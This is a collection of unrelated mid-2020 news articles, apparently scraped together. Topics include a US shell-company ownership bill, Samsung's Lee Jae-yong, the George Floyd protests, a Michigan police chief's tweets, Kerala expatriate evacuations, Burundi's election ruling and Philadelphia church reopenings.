A separate piece of legislation known by the acronym ILLICIT CASH  its full title is the Improving Laundering Laws And Increasing Comprehensive Information Tracking Of Criminal Activity In Shell Holdings Act -- is currently in the Senate Committee on Banking, Housing, and Urban Affairs.

Cui Bono?

Both bills require beneficial owners of corporations and LLCs with 20 or fewer employees and $5 million or less in annual revenue to submit their full name, date of birth, current home or work address, and the identification number on their valid U.S. or foreign identity document to the Financial Crimes Enforcement Network (FinCEN), an arm of the Treasury Department.

Such companies would have to submit an updated list of beneficial owners each year. The House bill also requires foreign beneficial owners to submit a copy of their passport. A beneficial owner is described as anyone who "exercises substantial control" or owns 25 percent or more of the company.

"We're the only advanced country in the entire world that doesn't already require disclosure of this information. Frankly, it's an embarrassment," Maloney said in a May 20 webinar on the legislation organized by the Wilson Center's Kennan Institute, a leading U.S.-based center for research on Russia and Eurasia.

All 28 member states of the European Union are already required to maintain registries of the beneficial owners of companies set up within its borders and are moving to make them publicly accessible to varying degrees.

The tougher European standards have driven some criminals to move their money to the United States, Senator Chuck Grassley of Iowa, who is now the senior Republican in the Senate, said during a 2018 Congressional hearing.

Even offshore havens like the British Virgin Islands (BVI), Cayman Islands, and Panama have introduced beneficial owner registrars, KPMG, one of the world's largest audit firms, said in a January post. The BVI and Cayman Islands are expected to make theirs publicly searchable in 2023.

The U.S. database envisioned by the bills would only be available to law enforcement agencies that have an actual investigation into related matters and would not be publicly searchable. Financial institutions would also be able to utilize the database, but only with the permission of the companies.

The bills have the backing of law enforcement organizations and financial institutions.

"What a lot of this is about is making it easier for law enforcement to cut through the layers of ownership and entity structures and identify the big fish at the top," Lawrence Hamermesh, a professor at the Widener University Delaware Law School and a former practicing attorney, told RFE/RL.

"It moves the needle. If you are bent on crime, it represents more of a deterrent," he said.

Some experts believe the effects of the legislation may be underwhelming

Lawrence Donahue, a principal at Law 4 Small Business, a New Mexico-based law firm that specializes in setting up LLCs, told RFE/RL he did not think the bills would have much impact in combating criminal activities involving anonymous shell companies.

Law enforcement agencies already have the ability to discover the beneficial owners of U.S. shells by subpoenaing tax and bank records, he said. Companies are required to disclose beneficial ownership to financial institutions when they open an account. And those bent on breaking the law "are going to send in false information in any case" to FinCEN, Donahue said.

Nelson Bunn Jr., executive director of the National District Attorneys Association, disagreed, telling RFE/RL that the Internal Revenue Service (IRS) currently does not collect beneficial ownership information in a manner that would help investigators. Furthermore, obtaining IRS records for an investigation "is incredibly complicated" and would require the involvement of federal law enforcement and the federal judiciary, a timely and costly procedure.

"This would significantly delay investigations, precludes state and local investigators who do not have the resources to partner with federal law enforcement, and creates a significant resource challenge for all state and local prosecutors to receive information that may still lead to a dead end in the investigatory process," he told RFE/RL.

Implementation Issues

Ross Delston, a Washington-based attorney, certified anti-money laundering specialist (CAMS) and former banking regulator, said Congress will need to expand FinCEN's resources if the bill is to have any real impact.

"Without a substantial increase in budget and personnel of FinCEN, this bill will fail for lack of implementation," he told RFE/RL.

FinCEN's ability to verify information about foreign beneficial owners, such as those located in the former Soviet Union, could be challenging as some due diligence tools, including credit data, may not be available, Delston said.

Several states allow people to form LLCs without disclosing publicly who the owners or managers are. The paperwork to set up LLCS can be completed in minutes and the process generally costs just a few hundred dollars, depending on the state.

Individuals registering LLCs in Delaware have to submit just the name and address of a person who can be a communications contact for authorities. The contact does not have to be a member or manager of the newly registered shell company and does not have to reside in the United States.

While other U.S. states may require slightly more information to register a company, none of them verify the data submitted, allowing for potential abuse. Furthermore, LLCs in states requiring more transparency can be owned by anonymous LLCs registered in Delaware, Wyoming, or New Mexico.

Clint Coons, a founding partner at Anderson Law Group, which specializes in asset protection strategies that include LLCs, said the only way to prevent criminals from abusing the system is to require every beneficial owner to validate their identity through a government-issued ID that is kept on file.

"That would solve it, but no one has the bandwidth or the money to do that," Coons said.

Bad Company?

Viktor Bout, the Russian arms trafficker who is serving a 25-year sentence in a U.S. prison after being convicted in 2011 of conspiring to kill U.S. nationals and sell weapons to terrorists, had used a dozen shell companies to hide assets in the United States, including in Delaware.

Former Ukrainian Prime Minister Pavlo Lazarenko, who served a prison term in the United States for money laundering, made use of a web of entities around the world, including anonymous shell companies registered in Wyoming.

LLCs are now regularly used to acquire U.S. real estate, especially high-end properties in New York City and Miami, to allow owners to maintain privacy.

But criminals and others seeking to launder money, though, have abused the practice, buying real estate through LLCs in all-cash transactions. The Treasury Department has begun targeting such transactions in select cities while New York has been taking steps to collect more owner information.

Denis Katsyv, son of a former Moscow Oblast transport minister, used LLCs to disguise his all-cash acquisition of a $6.25 million condominium in Manhattan partially with money that the U.S. Justice Department said was stolen from the Russian budget.

Should one of the bills pass, its impact might be felt not only in Manhattan and Miami but also abroad, including in Moscow, Kyiv, and other centers of power in the former Soviet Union, where some of the $300 billion in annual illegal proceeds moving through the United States originates.

Alexander Cooley, director of Columbia University's Harriman Institute and the author of a book on Central Asian money laundering, said tighter U.S. controls could displace some money seeping out the region to the Middle East and Asia but that America will continue to remain an attractive destination.

However, he said U.S. legislation to set up a register of beneficial ownership could have indirect effects on the region by reinvigorating the process of setting better global anti-money-laundering standards, which would put pressure on other jurisdictions to improve their own legislation.

"You also can't underestimate some of the unintended consequences that some of this sunlight creates," Cooley said.

Regional rulers and their families "don't like to have this cosmopolitan lifestyle out there and on display, and I think that is really key," he said, pointing to a British investigation into the wealth of former Kazakh President Nursultan Nazarbaev's grandson, which has attracted attention in the Central Asian country.

Matt Rojansky, director of the Kennan Institute, said during the May 20 webinar that the nations that emerged from the Soviet collapse may have developed differently had their leaders not been able to easily "squirrel away" state money in the West.

"Imagine the way in which they would have to govern their own countries differently if they have to keep their ill-gotten gains at home," Rojansky said. "Wouldn't they want a little bit more rule of law at home to protect that money rather than being able to rely on exporting it to jurisdictions like ours, right here in the United States?"

Source: https://www.rferl.org/a/can-the-u-s- slow-the-flow-of-dirty-money-from -the-ex-u-s-s-r-/30651938.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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South Korean prosecution has filed an arrest warrant against Samsung heir, again. Lee Jae-yong (image by WSJ) is the head of Samsung, and vice chairman of the company.

The Seoul Central District Prosecutors Office filed an arrest warrant for him, and two former executives of the company. Those former executives are Choi Ji-sung, and Kim Jong-joong.

Now, for those of you who dont remember, Lee Jae-yong was actually sentenced to 5 years in prison back in 2017. That happened after an investigation into charges of bribery, embezzlement, and perjury.

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He did not stay in prison for long, though, as he was released in 2018, soon after the sentencing. This time around, he is charged with committing illegal transactions and market manipulation.

Arrest Warrant has been filed for Samsung heir, for something that happened back in 2015

Those charges relate to the merger between Samsung C&T and Cheil Industries. That merger happened before Mr. Lee got sentenced the first time, back in 2015.

For those of you who dont know, Cheil Industries is a major owner of Samsung BioLogics. Its also worth noting that Lee Jae-yong is Cheil Industries largest shareholder.

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The prosecution seems to be alleging that an accounting fraud was committed in order to boost the valuation of BioLogics. A sum of $3.7 billion is being mentioned by a Korean financial watch dog.

That fraud was allegedly committed before the merger with Samsung C&T. On top of everything, Cheil Industries is an affiliate of the Samsung Group.

If Samsung BioLogics sounds familiar, thats because it popped up in news back in July last year. The prosecution requested arrest warrants for three of its executives, including its CEO.

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Samsung Bioepis seems to be included in all of this

All three were accused of changing the ownership status of Samsung Bioepis. Its status was changed from subsidiary to affiliate. That basically triggered a different accounting method.

By doing so, the valuation of Bioepis skyrocketed, and that affected the valuation of BioLogics and Cheil Industries as well. All in all, this seems to be a rather complicated case.

All of this information was provided by Business Korea, and as per usual, were waiting for more information on the matter. Lee Jae-yong will be arrested soon, if he hasnt been already. The same goes for two former executives. This case could go on for a while, though. Its quite complicated and it will take quite some time for prosecutors to go through everything.
Sushmita Sen makes her acting comeback after a decade with the web series Aarya, playing the titular role. Going by the trailer that was launched on Friday, the role looks tailor-made for the bada** woman we know her to be.

Aarya is set against the backdrop of organised crime as daily family business. Sushmita plays a loving wife and doting mother who is reluctant to be involved in the illegal narcotics family business. Her life is suddenly turned upside

down, her husband is shot at and her family is threatened.

In order to protect them, she is forced to get her hands dirty. She realizes that to protect her family from criminals, she herself needs to become a better one than them. The character of Sikandar Kher asks her to be, predictably, the 'lioness' and get her claws out.

In a scene from the trailer, actor Namit Das asks why didn't she take over the family business earlier, since she is so good at it. Sushmita replies, "The men used handle the business, now they are not alive anymore." Let's see if the show gets its feminism right, or resorts to tokenism.

An official adaptation of popular Dutch crime-drama Penoza, Aarya is being launched by Disney+Hotstar in conjunction with RMF (Ram Madhvani Films). It marks the former Miss Universe's digital debut. It's good to see actor Chandrachur Singh too returning to the screen.

Other cast members include Jayant Kripalani, Sohaila Kapoor, Sugandha Garg, Maya Sareen, Vishwajeet Pradhan and Manish Chaudhary in pivotal roles. Writers Sandeep Srivastav and Anu Singh Choudhary have highlighted the dichotomy of familial relationships that's riddled with betrayal and deceit. Shot in Rajasthan, Aarya showcases a contemporary India with a strong take on women in power roles.

Hotstar Specials presents Aarya is slated to release on June 19 on Disney+ Hotstar VIP. Watch the trailer here:

Follow @News18Movies for more
Kerala has crossed swords with the Centre over the evacuation of stranded expatriates from the Middle Eastern countries even as the state reported three deaths and 94 fresh cases of the coronavirus disease (Covid-19) on Thursday, highest since the outbreak began in January.

The state government has landed in a piquant situation after Congress-led opposition parties began a state-wide campaign holding it responsible for the death of 210 non-resident Indians (NRIs) in Gulf countries due to Covid-19 in the last three months.

Also read: 46% migrants back home or on way

They stepped up their pressure after the minister of state for external affairs, V Muraleedharan, said the states go-slow approach resulted in the poor evacuation of residents of Kerala from abroad.

The minister said only 20% of evacuations were held and the state was interested more in maintaining its record.

As stranded expatriates woes took an emotional turn, both the state and the Centre blamed each other for their plight.

Click here for full Covd-19 coverage

Kerala chief minister Pinarayi Vijayan, however, said there was a ploy to portray the states track record in a bad light.

We never restricted the number of flights. We are aware of the plight of our people abroad. Some people are trying to mislead them. But their ploy wont succeed, he said adding the government was keen on their safety and early return.

I dont know why people holding responsible positions are creating such confusion. I heard the Union government had some problem in dispatching too many flights, the CM said while asked about Muraleedharans statement.

Pinarayi Vijayan said the state had agreed to 12 flights a day and the Centre was not able to meet this request.

Muraleedharan had said earlier the Centre was ready to fly 34 flights a day but the state forced it to reduce them to 12.

Some of the bereaved said they never expected such an end to their loved ones and added that political parties are busy lauding their contributions but have turned a blind eye to their plight.

We could not see my fathers body. We were told his body was buried in a mosque in the UAE. It was terrible. We suffered in silence, the daughter one of the victims in Kozhikode said, adding that her father was planning to come home in June.

Nobody has called us so far. Here parties are busy fighting for political mileage. His life should have been saved if authorities helped him return early, she said.

After the first round of lockdown, the state government had started a website for expatriates who wished to return and more than four lakh people registered in the first week itself. The latest data show less than 40,000 arrived in the last three weeks.

Relatives of those aboard have said they are worried after a spurt in Covid-19 cases in some of the Gulf countries and that their return is now getting delayed inordinately.

At least 18 lakh people from the state work in the Gulf.

The state reported three deaths and 94 new Covid-19 cases, highest spike since the outbreak began, said the CM adding 80% of the recent cases were imported.

The states Covid-19 tally has gone up to 1,588 and the death toll has risen to 15.
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Burundi's Constitutional Court on Thursday upheld the May 20 presidential poll results which showed Evariste Ndayishimiye of the ruling party as the winner.

Charles Ndagijimana, president of the Constitutional Court, dismissed the election irregularities reported by Burundi Catholic bishops and Agathon Rwasa, presidential candidate of the opposition National Council for Liberty party.

Ndagijimana said the reports were unfounded, adding that no reported irregularity can taint the results of the elections.

Ndayishimiye of the ruling National Council for the Defense of Democracy-Forces for the Defense of Democracy won 68.72 percent of votes and Rwasa got 24.19 percent in the results announced by the country's electoral commission on May 25.

Rwasa, who filed the case in the court on May 27, said he would appeal to the regional East African Community Court if the domestic court rejects his appeal.

The Burundian National Independent Human Rights Commission earlier said the elections were held in a "good and fair" manner.

The Constitutional Court ruling now paves way for Ndayishimiye to succeed current president Pierre Nkurunziza who has been in power since 2005.

Under the country's new constitution promulgated in June 2018, the presidential term was extended from five to seven years and the president is allowed to serve two consecutive terms.

Ndayishimiye, born in 1968, was minister of home affairs and public security.
The Kerala Forest department has launched a 'manhunt' for those responsible for the death of a 15-year-old pregnant wild elephant, said an official. The elephant had died after being seriously injured by firecrackers hidden in a pineapple. Speaking t Image Source: PK

Jaipur, June 5 : It was a poignant scene at Hathi Gaon situated near Amer Fort in Jaipur where elephants and their mahouts were seen together paying floral tributes to the Kerala tusker and her unborn calf killed by explosives planted in a pineapple.

The elephants together stood straight, then garlanded the elephant's picture and offered flowers to it in complete harmony on Thursday.

In fact, many elephants also raised their trunk up as if to say "Rest in Peace" to their fellow pachyderm who lost her life to sheer human cruelty.

Speaking to the media, Aseef, a caretaker of elephants said, "Together, we bow our heads down with the incident which has been reported in Kerala. Humanity has lost its definition and soul." "We have been living with elephants since the last many centuries and this incident has left us redfaced. Trying to emerge as humans, we organised a ceremony to pay rich tributes to the departed soul." "The dead elephant's picture was staged right at the centre of the ground where we paid rich tributes to it. Even elephants came ahead to honour it by raising their trunks together." "We and our elephants have shared a long-term family bond. Even during the testing times of corona, we are raising our family members (elephants) by keeping ourselves hungry for one time in a day. Many of us have borrowed loans to feed our elephants," Aseef said.

"These mute animals help us earn our daily bread. Now, in these testing times when there is lockdown all across and no tourists coming anywhere, it is our duty to help and feed them," he said.

Elephants from Hathigaon are known across the world for taking travellers to Amer Fort who ride on their backs into the pristine past of the royal era of Rajasthan.

It is the only fort in India where elephant rides are an attraction for foreign and Indian tourists.

Amid the lockdown, it has become difficult for these elephant owners to satisfy the "elephantine" needs of these gentle giants, but still the mahouts are spending Rs 3,000 a day to feed them.

Earlier, former Chief Minister Vasundhara Raje, who was instrumental in the setting up of Hathi Gaon or 'Elephant Village' in Jaipur, expressed grief over the Kerala incident.

"The horrific incident involving a pregnant elephant in Kerala has left me deeply disturbed. Majestic & sacred, elephants are held to be the reincarnation of Lord Ganesha. Symbolic of strength & determination, the treatment meted out to them by some unkind souls is shameful. The perpetrators deserve to be punished to the fullest extent of the law," Raje said in a tweet.

Union minister Gajendra Singh Shekhawat who is an MP from Jodhpur in Rajasthan also mourned the death of the pregnant elephant in Kerala and termed it as an incident of shame to mankind.

Shekhawat said the inhumane act of feeding a hungry, pregnant female elephant with a pineapple filled with firecrackers has raised questions on humanity.

Elephants have been a significant part of Jaipur's history and culture since the last 400 years. A total of 104 elephants are present in Amer. The birth of calves is celebrated in the entire mahout community of Jaipur.
An Accra Circuit Court on Thursday sentenced 10 persons, including a journalist, to a fine of 12,000 each for flouting the COVID-19 restriction orders.

In default, they would each serve a four-year jail term.

They were arrested for demonstrating near the private residence of President Akufo-Addo on May 5.

They are Yahaya Alhassan, journalist, Bassarou Moaro, car washing assistant, Alhassan Arafat, driver's mate, Abdul Gafa, head porter, Emmanuel Anim, construction labourer, Mohammed Nazif, trader, Issaka Mutakiru, driver's mate, Zakari Salisu, head porter, and Abdulai Yahaya, and Mohammed Amin, both unemployed.

They all pleaded guilty to conspiracy to commit crime, failure to notify police of event contrary to Section 1(1) of the Public Order Act, and failure to comply with the restrictions imposed on public gathering contrary to the Imposition of the Restrictions Act.

Police Inspector Samuel Ahiabor told the Court, presided over by Mrs Susana Eduful, that the Accra Regional Police Command received information on May 4, 2020, that some people were planning to demonstrate near the private residence of President Akufo-Addo the next day.

He said on May 5, the police were on standby to avert any possible breach of the Law.

At about 1030 hours, a group of 50 converged at the Frankies Hotel, Nima with placards.

Some of the inscriptions were: Osafo Maafo does not respect Bawumia, Why our Northern sister, Betrayal of the people and Deny Hajia Tina, deny the entire Zongos.

Inspector Ahiabor said when the demonstration was on-going, the police managed to arrest 10 persons while the rest bolted.

He said they were put before court for breaching the Public Order Act and failing to comply with the restrictions imposed on public gathering.
Thousands of Americans carrying placards reading "black lives matter" and raising slogans such as "no justice, no peace" took to the streets in many United States cities, demonstrating peacefully against the killing of unarmed African-American George Floyd by a white police officer in Minneapolis on May 25.

IMAGE: The casket of George Floyd rests in front of the stage before his memorial service following his death in Minneapolis police custody, Minnesota, US Photograph: Lucas Jackson/Reuters

The 46-year-old victim, a native of Houston, was handcuffed and pinned to the ground on May 25 by a white police officer who kneeled on his neck as he gasped for breath.

Floyd's death has triggered nationwide violent protests with a section of the protesters resorting to looting and rioting across the country, leaving behind a trail of destruction.

Mourners gathered in huge numbers across the country on Thursday night to remember Floyd after a private memorial service in Minneapolis.

Seeking justice for Floyd, they are demanding urgent reforms in the police and criminal justice system.

Several cities including New York, Washington DC, Chicago and Los Angeles have reported large-scale violence and looting in the last few days.

IMAGE: Courtney Ross, George Floyd's girlfriend, pays respect during his memorial service. Photograph: Lucas Jackson /Reuters

More than 10,000 Americans have been arrested across the country for violent protests.

Protesters chant slogans as they march, with music and drum beats blaring in the background in Los Angeles. Cars were seen moving slowly along with the marchers, with many drivers and passengers holding protest signs or raising fists out of their windows to show support.

In New York, city Mayor Bill de Blasio was booed at an event.

It will not be about words in this city. It will be about a change, he said.

IMAGE: People attend Floyd's memorial service. Photograph: Lucas Jackson/Reuters

Reverend Al Sharpton, who delivered the eulogy, said that the reason why we're marching all over the world is because we were like George, we couldn't breathe. It's time for us to stand up in George's name and say get your knee off our necks.

He also asked mourners to stand in silence for eight minutes and 46 seconds, the length of time Floyd lay pinned to the pavement by the police officer.

At the end of the day, my brother's gone, but the Floyd name lives on. I thank god for you all, his brother Terrence Floyd told another massive gathering in Brooklyn.

IMAGE: A man holds a white rose as he stands outside during a memorial service for George Floyd. Photograph: Leah Millis/Reuters

House Speaker Nancy Pelosi described this as a day of great sadness.

They are having the first service for George Floyd. It is a national day of mourning, I see, for George Floyd, and we pray for his family and pray for healing for our country, she told reporters at the US Capitol.

With placards reading black lives matter, protesters chanted no justice, no peace.

Minnesota Attorney General Keith Ellison on Thursday announced to elevate charges against the former Minneapolis police officer who killed Floyd while adding the charges of aiding and abetting murder against the other three officers at the scene.

IMAGE: Quincy Mason Floyd arrives at North Central University for the funeral of his father, George Floyd. Photograph: Eric Miller/Reuters

The Wall Street Journal reported that a fragile calm appeared to descend on the US cities, as the widespread looting and destruction that characterised days of unrest appeared to subside and rage merged into grief and calls for justice.

As the memorial service for George Floyd takes place in Minneapolis, I once again extend my heartfelt condolences to his family and friends. It is my hope our country will come together in peace and heal from these challenging times, First Lady Melania Trump said.

IMAGE: A man wearing a slave collar hands carnations to a police officer during a protest in St Louis, Missouri. Photograph: Lawrence Bryant/Reuters

According to The New York Times, the tone at many protests on Thursday was largely mournful, after more than a week of crowds burning with grief and anger over the death of Floyd and other black Americans whose deaths have spurred calls for criminal justice reform.

Congressional Democrats on Thursday said that they plan to release a proposal on police accountability.

IMAGE: Actor Tyrese Gibson attends the memorial service for George Floyd. Photograph: Lucas Jackson/Reuters

Pelosi said that she is working with the Senate Democrats in advancing a legislation protecting the equal justice and including a number of provisions ending racial profiling, excessive use of force, the qualified immunity doctrine and addressing the loss of trust between police departments and communities they serve.

We will not relax until justice is secured, she said.

IMAGE: Critical care registered nurse Hengameh Pourkarim wears a protective face mask as protests continue on the streets near the White House. Photograph: Erin Scott/Reuters

While the vast majority of police officers do their job bravely and righteously, it is undeniable that many African-Americans lack confidence in the American criminal justice system. That must change, Attorney General William Barr told reporters.

The Constitution mandates equal protection and nothing less is acceptable, he said.

FBI Director Christopher Wray said that this is an incredibly challenging time for the country and for all the citizens they serve.

IMAGE: Demonstrators march across Brooklyn Bridge in the Brooklyn borough of New York City in protest against the death of George Floyd. Photograph: Andrew Kelly/Reuters

Like most of you, I was appalled and profoundly troubled by the video images of the incident that ended with Mr Floyd's tragic death, he said.

In recent days, the violence, threat to life and destruction of property that we've seen in some parts of the country jeopardise the rights and safety of all citizens, including peaceful demonstrators. It has to stop. We're seeing people who are exploiting this situation to pursue violent, extremist agendasanarchists like Antifa and other agitators, Wray said.

IMAGE: Demonstrators hold placards behind a fence during a protest. Photograph: Jim Bourg/Reuters

The Washington Post on Thursday said that the White House has been transformed into a veritable fortress -- the physical manifestation of President Trump's vision of law-and-order domination over the millions of Americans who have taken to the streets to protest racial injustice.

Trump has been very critical of The Post and has described it as fake news. Security around the White House has been stepped up in the last few days mainly because of the violent protests in Washington DC.
He is a Nineties action star icon, known for his muscular physique and expertise in martial arts.

Jean-Claude Van Damme, 59, proved on Thursday he is still putting in work in the gym to keep his title 'The Muscles from Brussels' nickname as he was seen at the beach in Malibu without a shirt on.

The Bloodsport actor showed off his muscular arms and slender frame as he seemed to have newly dyed and cut reddish hair.

Still got the muscles: Jean-Claude Van Damme, 59, proved he is still putting in work in the gym as he went shirtless in Malibu on Thursday

While chatting with friends in a parking lot, the Belgian actor enjoyed a cigarette that looked to be hand rolled.

He donned an unzipped grey hoodie over a simple white v-neck tee with blue, loose sweats.

Adding some warmth, he wore an orange beanie with his own acronym 'JCVD' stitched onto the front.

Keeping his look simple he wore light blue tinted glasses and a plain pair of black sneakers.

JCVD is that you? His typical dark brown locks were in a buzzed cut and a red hue, making him almost unrecognizable

Covered up: While chatting with friends in a parking lot, the Belgian actor enjoyed a cigarette wrapped up in some layers, before revealing his new red hair color under an orange beanie

Early years: In 1989's Kickboxer

As he stripped down to only his sweats and sneakers, he not only showed off his muscular torso but his newly colored hair.

His typical dark brown locks were in a buzzed cut and a red hue.

Van Damme most recently was set to star in the animated film Minions: The Rise of Gru with a July 2020 release, though due to the coronavirus pandemic the release was pushed to July 2021.

Beaming Belgian! Earlier this year, the actor revealed to Daily Mail Australia he wants to make one 'final and epic martial arts film' (pictured in March 2020)

Legends: He enjoyed immense international fame in the 1990s, heading up such successes as Lionheart, Double Impact - in which he played twins - and Hard Target (pictured with Mike Tyson in 1989)

Earlier this year, the actor revealed to Daily Mail Australia he wants to make one 'final and epic martial arts film.'

'I would like to make one more, one final, big martial arts, epic film. It's going to be a great film... I want to shoot a piece of it in Australia,' he said.

Jean-Claude forged a career in martial arts during the 1970s and 1980s, Jean-Claude became a Hollywood star after playing the lead in the 1988 movie Bloodsport.

He enjoyed immense international fame in the 1990s, heading up such successes as Lionheart, Double Impact - in which he played twins - and Hard Target.

Back in the day: Jean-Claude forged a career in martial arts during the 1970s and 1980s, Jean-Claude became a Hollywood star after playing the lead in the 1988 movie Bloodsport
SHELBY TOWNSHIP, MI  A Michigan police chief has admitted to authoring a series of tweets that called protesters against police brutality barbarians, wild savages and subhumans.

Shelby Township Police Chief Robert Shelide was placed on administrative leave pending an investigation around 5 p.m. on Thursday, June 4, WXYZ Detroit reports. He issued a statement apologizing and asking forgiveness for the tweets later that evening, Click On Detroit reports.

The tweets targeted people across the country who have protested police brutality during the past week following the death of George Floyd, WXYZ reports. The tweets were published by the now-deleted Twitter account @sheepdawg711.

Trump threatening to deploy the military, one tweet said. I have a better idea: unleash the real cops and let them take care of these barbarians. I promise it will be over in 24 hours.

Wild savages, said a tweet about looters in New York City. I wish to God I would have been there. Body bags for these vicious subhumans. Oh, on another note, I dare you to try and drag me out of my vehicle.

It was unclear whether the tweets were authored by Shelide when he was placed on administrative leave, but he admitted to posting the tweets later in the day. Heres his full statement:

"While an apology is insufficient and an insult to the gravity of my comments, I humbly and respectfully ask for the courtesy of forgiveness to those I have offended, to my department and more importantly to those I am sworn to serve. My record speaks to the commitment and professionalism that I have exhibited for more than 30 years without incident, both of which were compromised by my emotion. During my administrative leave issued by the department, I will fully cooperate with the investigation, and seek the support and counsel necessary to ensure that my behavior and comments going forward more accurately reflect my character and person.

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WASHINGTON  The mayor of Washington, D.C., had the slogan "Black Lives Matter" painted in massive yellow letters on a street leading to the White House on Friday in tribute to victims of police brutality as she sparred with U.S. President Donald Trump.

Mayor Muriel Bowser's defiant message came as tensions remained high across the nation over the death of a black man, George Floyd, in Minneapolis police custody nearly two weeks ago, prompting political leaders in that city and elsewhere to announce new restrictions on law enforcement.

"Breonna Taylor, on your birthday, let us stand with determination," Bowser, a Democrat, wrote on Twitter in reference to a 26-year-old black woman who was shot dead by Louisville, Kentucky, police in March. "Determination to make America the land it ought to be."

Bowser and Trump are at odds over the president's use of federal law enforcement agencies and military police to put down demonstrations. U.S. Park Police fired smoke grenades and chemical irritant "pepper balls" to break up a protest on Monday night so Trump could walk from the White House to a nearby church for a photo opportunity.

"We want troops from out-of-state out of Washington, D.C.," Bowser, who has called for the District of Columbia to be granted U.S. statehood, told reporters on Thursday.

The city also installed a street sign for "Black Lives Matter Plaza" at the intersection of H and 16th Streets.

"The incompetent Mayor of Washington, D.C., @MayorBowser, who's budget is totally out of control and is constantly coming back to us for 'handouts', is now fighting with the National Guard, who saved her from great embarrassment," Trump responded on Twitter. "If she doesn't treat these men and women well, then we'll bring in a different group of men and women!"

On Friday, a U.S. official said the Pentagon would be standing down the remaining 900 active-duty troops who had been deployed to the Washington, D.C., area.

Story continues

Streets around the White House have been a focus of demonstrations that have swept the nation to protest the May 25 death of Floyd, 46, after a white police officer pinned him to the ground with a knee to the neck for nearly nine minutes.

Protests have also rocked cities including Atlanta, Denver, Detroit and Los Angeles, as well as many smaller communities.

After video footage from upstate New York raised further questions about the handling of demonstrators by law enforcement, two Buffalo police officers seen on Thursday shoving a 75-year-old protester to the ground were suspended and placed under investigation.

All 57 members of their police tactical unit quit the unit to protest their treatment, local media said Friday.

Trump: 'a great day' for George Floyd

Responding to the still-resonating outcry over Floyd's death, Minneapolis officials on Friday voted to end the use of knee restraints and choke holds.

California Governor Gavin Newsom said on Friday that he would end state police training in the use of restraints that restrict the carotid artery in the neck.

Activists have also called for cities to defund police departments. Los Angeles Mayor Eric Garcetti, who in April proposed increasing law enforcement funding, this week proposed some $150 million in cuts to the Los Angeles Police Department.

The demonstrations have erupted as Americans and businesses struggle to recover from sweeping lockdowns imposed by state and local officials due to the coronavirus.

Trump, who is seeking re-election in November, was cheered on Friday by an unexpected jump in U.S. employment in May, defying predictions of further job losses inflicted by the pandemic. He called the jobs numbers good news for racial equality  and "a great day" for George Floyd.

"What's happened to our country and what you now see has been happening is the greatest thing that could happen for race relations, for the African-American community, for the Asian-American, for the Hispanic-American community, for women, for everything," Trump said.

He continued, looking up from his notes: "We all saw what happened last week. We can't let that happen. Hopefully, George is looking down right now, and saying 'This is a great thing that's happening for our country.' This is a great day for him, it's a great day for everybody.  This is a great, great day in terms of equality.

Despite Trumps' assertion, unemployment among African Americans was higher in May than in April, a statistic that critics were certain to cite as underscoring racial disparities in American society.

The unemployment rate for African Americans is 3.5 percentage points higher than the national rate of 13.3%, while the rate for whites is 12.4%, nearly a full point below the national rate.

Bowser, who is black, represents a city that is 47% black, according to Census data.

She has said she is fine with D.C. National Guard helping to keep order in Washington, but is examining all legal options to reverse the deployment of federal forces from elsewhere.

Further demonstrations were planned for Washington, D.C., on Saturday, and memorial services were expected over the next several days. Floyd's funeral is planned for Tuesday.

The change in mood reflected a determination by activists and organizers to turn outrage over Floyd's death into a renewed civil rights movement and reform police departments and the U.S. criminal justice system.
Archbishop Nelson J. Perez greets representatives from Blessed Trinity Elementary School at the Archdiocese last month. Read more

As Philadelphia waded into the yellow phase of recovery with a slow reopening day for many retailers, Archbishop Nelson J. Perez said Friday that Catholic churches in the five-county Archdiocese of Philadelphia would resume in-person Masses this weekend, despite city orders restricting indoor gatherings.

Perez and other church leaders said those Masses will look far different than they did three months ago: Church capacity will be cut in half, congregants over age 2 will be required to wear masks, and families will be asked to keep at least a six-foot distance from other households. Singing should be kept to a minimum and priests will not ask congregants to offer each other the Sign of Peace, with its usual handshaking.

Gov. [Tom] Wolf has provided for an exception for the gathering of religious services, because religious services are considered essential, like some other businesses, and so the occupancy is 50%. So it is not in any way a contradiction to the directives given by the mayor, said the Rev. G. Dennis Gill, director of the Archdiocesan Office for Divine Worship.

Parishes will continue to livestream services and maintain the dispensation from the obligation to attend Mass in person, Perez said.

Last week, Philadelphia Health Commissioner Thomas Farley expressed concern about infection risks from religious gatherings during the yellow phase, but added the city would not shut down services that are allowed under state guidelines.

The citys guidelines are stricter because Philadelphia is so densely populated, officials have said.

Philadelphia reported 126 new COVID-19 cases and 17 deaths Friday. There were a total of 443 new cases and 69 deaths in Pennsylvania as of June 5; New Jersey saw 864 new cases and 79 deaths.

John Zurlo, division director of infectious disease at Jefferson Health, said he has some concerns about churches resuming indoor services because the virus is known to spread more easily indoors.

It has nothing to do with churches, Zurlo said. Its just a challenge we have to be careful about, whether its a church or any other indoor setting."

Some churches are finding creative ways to be together yet distanced. The Salt and Light ministry in Southwest Philadelphia planned to hold a drive-up service on Sunday, according to its Facebook page.

But in Camden County, Solid Rock Baptist Church filed a lawsuit in federal court this week over New Jerseys order limiting indoor church attendance to no more than 10 people.

Sadly, we are forced to bring this lawsuit because Gov. [Phil] Murphy and his leadership team have infringed upon our First Amendment rights to freely exercise our religion according to the Bible and our conscience, Pastors Charles Clark Jr. and Charles Clark III said in a statement.

Caution for retailers

Friday was the long-awaited day when businesses could reopen provided they followed certain safety guidelines, but many in the city and its suburbs remained shuttered.

On West Philadelphias 52nd Street corridor, recently devastated during protests, clothing stores and coffee shops were closed, many with signs reading Black owned" in seeming efforts to dissuade looters.

In King of Prussias Town Center, upscale chains like REI and Nordstrom werent reopening either.

And on South Street, shops selling books and yarn were dark.

In April, small business owners expressed concern about opening their stores, saying they couldnt go back to normal until customers feel comfortable leaving their homes. Advocates said the government needed to do more to protect retail workers.

But all that was before the death of George Floyd beneath the knee of a Minneapolis police officer, and the ensuing demonstrations demanding equity and justice.

There are much more important things happening, said Jeffrey Hyman, general manager at the Wine Dive on South Street. There are people in danger. There are people hurting. We need to focus on that first.

Hyman, 30, said his team had been preparing for the transition to the yellow phase and just started letting customers back into the small shop after offering only curbside pickup for the last three weeks.

He kept the door open to beckon customers with two chalkboards outside. One detailed the rules  only three people allowed at a time and masks required. The other stated: Black Lives Matter.

Meanwhile, officials are anticipating another weekend of protests will bring thousands of people into the citys streets.

